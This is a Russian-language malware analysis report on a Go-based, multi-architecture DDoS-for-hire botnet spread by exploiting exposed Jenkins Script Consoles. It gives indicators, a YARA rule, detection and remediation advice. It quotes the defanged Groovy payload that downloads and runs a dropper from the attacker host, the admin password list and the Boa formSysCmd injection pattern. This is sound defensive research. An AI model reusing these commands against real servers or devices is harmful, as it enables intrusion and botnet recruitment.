malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

Кроссплатформенный DDoS-ботнет по найму на Go

Kinryū Labs проанализировала bot.exe — Windows-сборку скомпилированного на Go DDoS-ботнета, распространяемого в виде дроппер-набора из 11 бинарников под 13 архитектур и доставляемого в ходе многодневной кампании эксплуатации Jenkins Script Console. Разведка стейджинг-хоста выявила живой DDoS-API по найму с аутентификацией, командный SSH-канал на Go и соседствующее семейство родословной Mirai. Мы с высокой уверенностью оцениваем это как коммерческую DDoS-операцию по найму.

Автор Davis Zheng·

TLP:CLEAR. Согласовано к публикации. Образец и его дроппер-набор перехвачены сетью сенсоров-ловушек Kinryū Labs в ходе многодневной кампании эксплуатации Jenkins, наблюдавшейся на нескольких сенсорах. Захваченные бинарники анализировались статически и не запускались; стейджинг-хост оператора характеризовался активной внешней разведкой (перечисление сервисов, анонимный листинг FTP и неаутентифицированное зондирование открытого API), при этом ни одна аутентификация не обходилась. Индикаторы атакующего обезврежены.

Краткое резюме

  • 13сборок под архитектуры, 11 уникальных бинарников
  • 5именованных методов DDoS плюс API по найму
  • 3скоординированных IP-источника в одном /22
  • 2семейства ботнетов на одном хосте

bot.exe — это Windows-сборка под x86-64 скомпилированного на Go DDoS-ботнета, распространяемого в виде мультиархитектурного дроппер-набора. Сопутствующий shell-скрипт bins.sh подтягивает тринадцать сборок под архитектуры, одиннадцать из которых уникальны после дедупликации, охватывая 32- и 64-битный x86, четыре профиля ARM, ARM64, Android ARM64, а также MIPS с прямым и обратным порядком байтов, наряду с Windows-бинарником. Набор попал в сеть ловушек через эксплуатацию открытого сервера Jenkins.

Вредонос несёт пять именованных методов флуда (HTTP, TLS-хендшейк, ICMP, прямой TLS и объёмный метод под меткой VOULT), HTTP-флуд, который ротирует строки User-Agent браузеров и заголовки локали, чтобы походить на легитимный трафик, и полезные нагрузки командной инъекции, нацеленные на веб-сервер Boa на устройствах RealTek SDK для саморазмножения. Разведка стейджинг-хоста по адресу 185.226.93[.]242 выявила аутентифицированный DDoS-API по найму на порту 3333, реализованный на Go SSH-сервис на порту 2222 в роли командного канала и анонимный FTP-сервис, стейджащий второе семейство ботнета родословной Mirai/Gafgyt.

Kinryū Labs с высокой уверенностью оценивает, что bot.exe является частью вредоносного, саморазмножающегося, мультиархитектурного DDoS-ботнета, работающего как коммерческий сервис по найму. Оценку несут три находки: собственные строки бинарника с методами атак и эксплуатации; живой API по найму на стейджинг-хосте оператора, который валидирует параметры задания и требует аутентификации; и телеметрия ловушек об устойчивой многоузловой кампании, доставляющей этот набор.

Ключевые выводы
  • bot.exe — кроссплатформенный DDoS-ботнет на Go. Пять различных лог-строк методов флуда несут параметры цели и длительности, наряду с механикой имперсонации браузера и поддержкой SOCKS5, всё в необфусцированных строках и подтверждается живым API.
  • Операция работает как коммерческий DDoS-сервис по найму. Стейджинг-хост открывает API на порту 3333, который валидирует параметры задания (user, psw, host, method, time, port) и отклоняет неверные учётные данные.
  • Ботнет саморазмножается через командную инъекцию в IoT. Бинарник несёт полезную нагрузку командной инъекции для Boa formSysCmd, путь брутфорса логина роутера и экспортируемые функции loginDevice и loginDeviceCaptcha, инъектируя тот же однострочник дроппера, что зафиксирован в логах ловушек.
  • Три IP-источника — один оператор. Три адреса в 185.226.92[.]0/22 доставляли идентичные полезные нагрузки со скоординированным таймингом и общим списком учётных данных, а IP доставки и стейджинга предъявляют идентичные хост-ключи SSH, что указывает на один хост или клонированные образы.

Доставка: устойчивая кампания через Jenkins Script Console

Набор доставлялся через эксплуатацию инстанса Jenkins, открытого в интернет. Телеметрия ловушек зафиксировала устойчивый двухшаговый метод: GET /crumbIssuer/api/json для получения CSRF-токена, за которым следовал POST /script с полезной нагрузкой Groovy Script Console. Полезная нагрузка была идентична во всех попытках и здесь обезврежена:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

Запросы несли заголовок Authorization: Basic, циклически перебиравший короткий словарь слабых числовых паролей для учётной записи admin (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), — признак автоматизированного списка учётных данных, а не прицельной аутентификации.

Кампания шла несколько дней повторяющимися волнами:

  • Волна 1Первые зондирования: проверка CSRF-crumb, за которой следует Groovy RCE, со стейджинг-IP и второго адреса в том же блоке.
  • Захватbins.sh и все тринадцать вариантов восстановлены на двух сенсорах с разницей примерно в четырнадцать часов, байт в байт идентичные на обоих.
  • Поздние волныПараллельная эксплуатация со всех трёх IP-источников в пределах минут друг от друга, с ротированными User-Agent.

Запросы эксплуатации ротировали большой набор реалистичных браузерных User-Agent, тогда как разведывательный обход в поисках новых целей Jenkins (запрос /login, за которым следует быстрая серия запросов /script) использовал стандартный Go-http-client/1.1. Подделанные User-Agent сопровождают полезные нагрузки эксплуатации; сканер использует нативный Go-клиент ботнета. Сам стейджинг- и C2-хост участвовал в эксплуатации, так что атакующая и хостинговая инфраструктура не разделены.

Вредонос: одна кодовая база на Go, одиннадцать бинарников

Написание бота на Go позволяет одной кодовой базе кросс-компилироваться под каждую цель, какую хочет оператор. Дроппер проходит по всей продуктовой линейке, подтягивая каждую сборку через wget, затем повторно через curl в качестве запасного варианта, помечая её исполняемой, запуская и удаляя. В набор входит Windows .exe, который Linux-дроппер всё равно прогоняет через chmod +x, а сгенерированная структура скрипта указывает на конвейер сборки и листинга. После дедупликации тринадцать сборок сводятся к одиннадцати уникальным бинарникам: сборки x86 и i386 совпадают, как и обобщённые сборки ARM и ARMv7. Разброс архитектур — от MIPS и устаревшего ARM до Android — обозначает ботнет, нацеленный на роутеры, камеры и другие встраиваемые устройства; Windows-сборка несёт тот же код на десктопы и серверы.

Бинарник не упакован (энтропия секций PE лежит между 5,4 и 6,3) и не лишён символов (Go build ID и рантайм-символы целы), так что его возможности лежат в открытых строках. Метка времени компиляции обнулена, что нормально для Go-сборок.

Пять методов флуда названы в лог-строках бинарника, каждый форматируется с целью и длительностью: флуд «HTTP (Optimized)», флуд истощения TLS/TCP «Handshake», ICMP-флуд «PING», прямой сессионный TLS-флуд «TLS+» и метод «VOULT», объёмный и, вероятно, на основе UDP. Присутствуют опции как прикладного, так и сетевого уровня.

HTTP-флуд построен так, чтобы сойти за легитимный трафик. Он ротирует более десяти строк User-Agent браузеров Chrome, Edge, Opera, Firefox и Safari на Windows, macOS, iPad и Android; пятнадцать локалей Accept-Language; и заголовки-отпечатки sec-fetch-* и sec-ch-ua-*, которые инспектируют сервисы защиты. Он устанавливает Referer из небольшого набора высокорепутационных сайтов (google.com, reddit.com, facebook.com, bing.com, twitter.com и fbi.gov). Одна запись в наборе User-Agent — это буквальная строка Hello World, разработческая заглушка, которая даёт чистую детекционную сигнатуру, потому что ни один легитимный клиент её не отправляет.

Размножение нацелено на веб-сервер Boa — небольшой встраиваемый HTTP-демон, до сих пор поставляемый на многих роутерах и камерах на базе RealTek SDK. Бинарник несёт полезную нагрузку командной инъекции для обработчика formSysCmd в Boa и путь брутфорса логина к админ-интерфейсам роутеров, с JSON-полями учётных данных и экспортируемыми функциями loginDevice и loginDeviceCaptcha. Инъектируемая команда — это однострочник дроппера, так что скомпрометированное устройство становится точкой доставки для следующего.

Вендоренные Go-модули — все стандартные пакеты golang.org/x, без слинкованного стороннего C2-фреймворка. Среди них chacha20poly1305, http2/hpack, dns/dnsmessage и http/httpproxy, что соответствует наблюдаемым возможностям: аутентифицированно-шифрованный канал, HTTP/2, сырой DNS и SOCKS5-проксирование (присутствуют строки socks5, socks connect и socksUsernamePassword). Конфигурация C2 подтягивается во время выполнения с hxxp://<C2>/config.dat; единственный жёстко заданный адрес в бинарнике — стейджинг-хост.

Инфраструктура управления и стейджинга

Разведка стейджинг-хоста выявила следующие сервисы:

ПортСервисНазначение
21/tcpvsftpd 3.0.3, анонимный вход включёнСтейджинг вредоноса (второе семейство, ниже)
22/tcpOpenSSH 9.2p1 (Debian)Доступ оператора
1001/tcpGo-сервер net/httpОсновной стейджинг: отдаёт bins.sh и варианты
2222/tcpGo SSH (SSH-2.0-Go)Командный канал бота
3333/tcpGo-сервер net/httpDDoS-API по найму

Две находки поддерживают оценку «по найму». IP доставки и стейджинг-хост предъявляют идентичные хост-ключи SSH ED25519, RSA и ECDSA, помещая их на одну машину или на образы, клонированные из одного шаблона, а Go SSH-сервис на порту 2222 предъявляет ключ, отличный от системного OpenSSH на порту 22, что помечает его как отдельное приложение, а не форвард. API на порту 3333 отклоняет запрос из-за отсутствующих параметров (user, psw, host, method, time/duration, port) и возвращает ошибку аутентификации для тестовых учётных данных, при этом все прочие пути возвращают 404. Это минимальный, аутентифицируемый на каждом запросе интерфейс коммерческого бутера, работающий на живой инфраструктуре.

Второе семейство на том же хосте

Анонимный FTP-сервис стейджит отдельное семейство ботнета, называемое здесь «boatnet» по его именам файлов. Его дроппер (ohshit1.sh) использует клиент ftpget из BusyBox, переименовывает каждый бинарник в WTF перед запуском и запускает сборки в фоне под пятнадцать архитектур, включая экзотические встраиваемые цели (ARC, m68k, SH4, SPARC) родословной Mirai/Gafgyt. Бинарники — скомпилированный на C ELF, лишённый символов и упакованный (энтропия от 7,6 до 7,9 без сигнатуры UPX, что указывает на кастомный упаковщик), так что при статическом разборе выживает немногое. Артефакты boatnet предшествуют набору bot.exe и работают на несвязанной кодовой базе, так что один хост стейджит два различных семейства ботнетов.

Хостинг

Оба IP атакующего попадают в 185.226.92[.]0/22, зарегистрированный на VPS-провайдера из Турции (имя сети BIGCORE-US, AS205196 / AS57152) через RIPE NCC, с abuse-контактом [email protected]. Мы идентифицируем хостинг-провайдера в целях уведомления и не делаем никаких утверждений о личности оператора.

Индикаторы компрометации

Инфраструктура атакующего обезврежена. Хеши образцов и детекционные строки несут «живые» значения по замыслу.

Сеть

ИндикаторКонтекст
185.226.93[.]242Стейджинг- + C2-хост; также активный сканер
185.226.92[.]110Основной сканер / узел доставки
185.226.92[.]173Вторичный сканер
185.226.92[.]0/22Хостинговое выделение (BIGCORE, AS205196). Разумный периметровый блок
185.226.93[.]242:1001HTTP-стейджинг (bins.sh + варианты)
185.226.93[.]242:2222Командный канал Go SSH
185.226.93[.]242:3333DDoS-API по найму (/api, за параметрами)
185.226.93[.]242:21Анонимный FTP, стейджинг boatnet
hxxp://<C2>/config.datПаттерн подтягивания конфига C2 во время выполнения
/boafrm/formSysCmd, /boafrm/formLoginURI Boa RCE и брутфорса логина в исходящем размножении
Хост-ключ SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…Общий для IP доставки и C2; сводный индикатор

Файлы

ФайлSHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (дроппер)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • bot.exe MD5 / SHA-1 / imphash: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
Полные хеши дроппер-набора (11 уникальных из 13 сборок)
СборкаSHA-256Размер (байт)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

Артефакты хоста и учётных данных

  • Словарь брутфорса Jenkins admin: 1123, 123451, 1231231, 1111111, 12345123.
  • ohshit1.sh (дроппер boatnet) и бинарник, переименованный в WTF перед запуском.
  • Характерные User-Agent: Hello World (HTTP-флуд бота) и Go-http-client/1.1 (самосканирование бота).

Поведенческие

  • Jenkins GET /crumbIssuer/api/json, за которым следует POST /script с полезной нагрузкой Groovy ProcessBuilder('sh','-c', …), подтягивающей bins.sh.
  • Исходящие запросы к хосту по пути /config.dat, которым предшествует лог-строка Connecting to CNC....
  • Входящий POST /boafrm/formSysCmd с sysCmdselect=5 и телом wget … bins.sh.

Обнаружение

Строки стабильны и необфусцированы, так что сигнатуры прямолинейны. YARA-правило ниже — кандидат, построенный из проверенных строк; валидируйте перед развёртыванием.

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

Сетевое обнаружение:

  • Jenkins: алерт на тела POST /script, содержащие ProcessBuilder с wget/curl на сырой IP, особенно если им предшествует GET /crumbIssuer/api/json.
  • Размножение в IoT: content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";.
  • Инфраструктура: блокируйте 185.226.92[.]0/22, покрывающий адреса доставки и C2, и алертите на исходящие подключения к портам 1001, 2222 и 3333 в этом диапазоне.

Ремедиация

  • Не выставляйте Jenkins в интернет. Разместите его за аутентификацией и сетевой изоляцией, отключите Script Console для не-администраторов и считайте достижимый билд-сервер риском компрометации всего хоста. Это был вектор доставки.
  • Обеспечьте надёжные учётные данные Jenkins и ограничьте скорость аутентификации. Кампания опиралась на короткий словарь слабых числовых паролей для admin.
  • Сегментируйте или замените роутеры и IoT-устройства на базе RealTek/Boa и блокируйте внешний доступ к их админ-интерфейсам. Это цель размножения ботнета.
  • Блокируйте хостинговое выделение (185.226.92[.]0/22) на периметре и алертите на URI Boa RCE и паттерн подтягивания config.dat.
  • Фильтруйте исходящий трафик. Хост, обращающийся к сырому IP на порту 1001 за файлами с именами архитектур, или подключающийся к портам 2222 или 3333 в этом диапазоне, аномален и обнаружим там, где хостовая детекция отсутствует.
  • Уведомьте об инфраструктуре. О DDoS-API по найму и стейджинге вредоноса через FTP можно сообщить abuse-контакту хостинг-провайдера ([email protected]).

Сопоставление с MITRE ATT&CK

ТактикаТехника
Initial AccessT1190 Exploit Public-Facing Application (Jenkins Script Console; Boa formSysCmd для размножения)
Credential AccessT1110.001 Brute Force: Password Guessing (Jenkins admin); T1110.004 Credential Stuffing (логин IoT)
ExecutionT1059 Command and Scripting Interpreter (Groovy через Script Console; дроппер на Unix shell)
DiscoveryT1046 Network Service Scanning (самосканирование Jenkins/IoT); T1082 System Information Discovery; T1057 Process Discovery
Defense EvasionT1036 Masquerading (ротация браузерных User-Agent; переименование boatnet в WTF)
Command and ControlT1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; Go SSH на 2222); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS
Lateral Movement / DeliveryT1105 Ingress Tool Transfer (мультиархитектурный стейджинг)
ImpactT1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (истощение хендшейка)

Методология и заметки

  • Область: статический анализ захваченных бинарников, которые не запускались, и активная внешняя разведка стейджинг-хоста (перечисление сервисов и баннеров, анонимный листинг FTP и неаутентифицированное зондирование API на порту 3333). Ни одна аутентификация не обходилась.
  • YARA-правило — кандидат, построенный из проверенных строк; валидируйте перед развёртыванием. Бинарники boatnet упакованы и дали мало строк.
  • Образцы (набор bot.exe, дроппер и артефакты boatnet) доступны другим исследователям и защитникам по запросу. Напишите на [email protected] с короткой запиской о том, кто вы и зачем они вам.
How to cite
Kinryū Labs (2026). Кроссплатформенный DDoS-ботнет по найму на Go. https://kinryu.sh/ru/reports/go-ddos-botnet-for-hire/